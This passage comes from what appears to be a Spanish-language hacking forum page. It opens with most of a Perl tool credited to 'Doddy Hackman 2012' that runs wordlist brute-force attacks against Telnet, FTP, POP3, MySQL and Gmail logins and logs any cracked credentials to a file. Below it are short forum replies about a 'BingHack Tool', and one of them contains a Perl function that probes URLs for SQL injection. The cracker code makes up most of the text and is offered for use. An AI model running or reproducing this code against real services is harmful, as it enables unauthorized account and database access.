                yeah( $host, $user, $pass, "POP3" );
            }
            $pop->quit();
        }

        print "\n[-] Password Not Found\n";

    }

    elsif ( $op eq "4" ) {

        my ( $host, $user, $word, $time ) = form1();
        my @words = openwordlist( $word, "Mysql" );

        $target = "dbi:mysql::" . $host . ":3306";

        for my $pass (@words) {
            chomp $pass;
            sleep($time);
            if ( my $now =
                DBI->connect( $target, $user, $pass, { PrintError => 0 } ) )
            {
                yeah( $host, $user, $pass, "Mysql" );
            }
        }

        print "\n[-] Password Not Found\n";

    }

    elsif ( $op eq "5" ) {

        my ( $user, $word, $time ) = form2();
        my @words = openwordlist( $word, "Gmail" );

        for my $pass (@words) {
            chomp $pass;
            sleep($time);
            my $so = IO::Socket::SSL->new(
                PeerAddr => "pop.gmail.com",
                PeerPort => 995,
                Proto    => "tcp"
            );

            my $nave = Mail::POP3Client->new();

            $nave->User($user);
            $nave->Pass($pass);
            $nave->Socket($so);

            if ( $nave->Connect() ) {
                yeahmail( "Gmail", $user, $pass );
            }

            $so->close();
            $nave->close();
        }
        print "\n[-] Password Not Found\n";
    }

    else {
        print "\n\n[+] Bad Option\n";
    }

    copyright();

    sub yeah {

        print "\a\a\n[+] Cracked\n\n";
        print "[+] Host : $_[0]\n";
        print "[+] Username: $_[1]\n";
        print "[+] Password : $_[2]\n";

        savefile( "cracked-logs.txt",
            $_[3] . ":" . $_[0] . ":" . $_[1] . ":" . $_[2] );

        copyright();

    }

    sub yeahmail {

        print "\a\a\n[+] Cracked\n\n";
        print "[+] Account Type : $_[0]\n";
        print "[+] Username : $_[1]\n";
        print "[+] Password : $_[2]\n";

        savefile( "cracked-logs.txt", $_[0] . ":" . $_[1] . ":" . $_[2] );

        copyright();

    }

    sub openwordlist {

        my ( $file, $tipo ) = @_;

        print "\n[+] Opening file\n\n";

        unless ( -f $file ) {
            print "\n[-] File not found\n";
            copyright();
        }

        open( FILE, $file );
        my @words = <FILE>;
        close FILE;

        print "[+] Words Found : " . int(@words) . "\n\n";
        print "[+] Cracking service $tipo\n\n";

        return @words;

    }

    sub savefile {
        open( SAVE, ">>" . $_[0] );
        print SAVE $_[1] . "\n";
        close SAVE;
    }

    sub form1 {

        print "\n[+] Host : ";
        chomp( my $host = <stdin> );
        print "\n[+] User : ";
        chomp( my $user = <stdin> );
        print "\n[+] Wordlist : ";
        chomp( my $word = <stdin> );
        print "\n[+] Timeout : ";
        chomp( my $time = <stdin> );

        return ( $host, $user, $word, $time );

    }

    sub form2 {
        print "\n[+] Email : ";
        chomp( my $email = <stdin> );
        print "\n[+] Wordlist : ";
        chomp( my $word = <stdin> );
        print "\n[+] Timeout : ";
        chomp( my $time = <stdin> );
        return ( $email, $word, $time );

    }

    sub head {
        print qq(

    @     @                                    @@@@                 @             
    @     @                                   @    @                @             
    @@   @@                                   @                     @             
    @@   @@   @@@   @@   @@  @ @   @  @@@     @      @@  @@@   @@@  @  @   @@@  @@
    @ @ @ @      @ @  @ @  @ @ @   @ @   @    @      @      @ @   @ @ @   @   @ @
    @ @ @ @   @@@@  @    @   @  @ @  @@@@@    @      @   @@@@ @     @@    @@@@@ @
    @  @  @  @   @   @    @  @  @ @  @        @      @  @   @ @     @ @   @     @
    @  @  @  @   @ @  @ @  @ @   @   @   @    @    @ @  @   @ @   @ @  @  @   @ @
    @     @   @@@@  @@   @@  @   @    @@@      @@@@  @   @@@@  @@@  @   @  @@@  @

                                 
                                                       
                                               
                                                  Coded By Doddy H





    [++] Services

    [1] : Telnet
    [2] : FTP
    [3] : POP3
    [4] : Mysql
    [5] : Gmail



    );
    }

    sub copyright {
        print "\n\n(C) Doddy Hackman 2012\n\n";
        <stdin>;
        exit(1);
    }

    #The End ?
#326
Scripting / Re: [Perl Tk] BingHack Tool 0.1
28 Mayo 2012, 23:23 PM
yo no instale nada debe ser porque estoy usando ActivePerl 5.8
#327
Scripting / Re: [Perl Tk] BingHack Tool 0.1
27 Mayo 2012, 00:41 AM
lo hago en post diferentes para que quede mas ordenado debido a que en la version Tk siempre pongo una imagen del programa y en la version consola no.


#328
Scripting / Re: [Perl Tk] BingHack Tool 0.1
26 Mayo 2012, 16:58 PM
la tecnica que use es la misma que dijiste

Código (perl) [Seleccionar]
sub sql {
   my ( $pass1, $pass2 ) = ( "+", "--" );
   my $page = shift;

   my $testar1 = toma( $page . $pass1 . "and" . $pass1 . "1=0" . $pass2 );
   my $testar2 = toma( $page . $pass1 . "and" . $pass1 . "1=1" . $pass2 );

   unless ( $testar1 eq $testar2 ) {
       $founds->insert( "end", $page );
       savefile( "sql-logs.txt", $page );
   }
}
#329
Scripting / Re: [Perl Tk] BingHack Tool 0.1
26 Mayo 2012, 16:36 PM
gracias por el aviso runex voy a tener que mejorar la funcion sql() debido a que solo 3 urls de la imagen son realmente vulnerables.
#330
Scripting / Re: [Perl Tk] BingHack Tool 0.1
26 Mayo 2012, 16:29 PM
si leyeras bien el titulo te darias cuenta de que una version es para consola y otra es para Tk (version grafica).
Páginas 1 ... 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 ... 55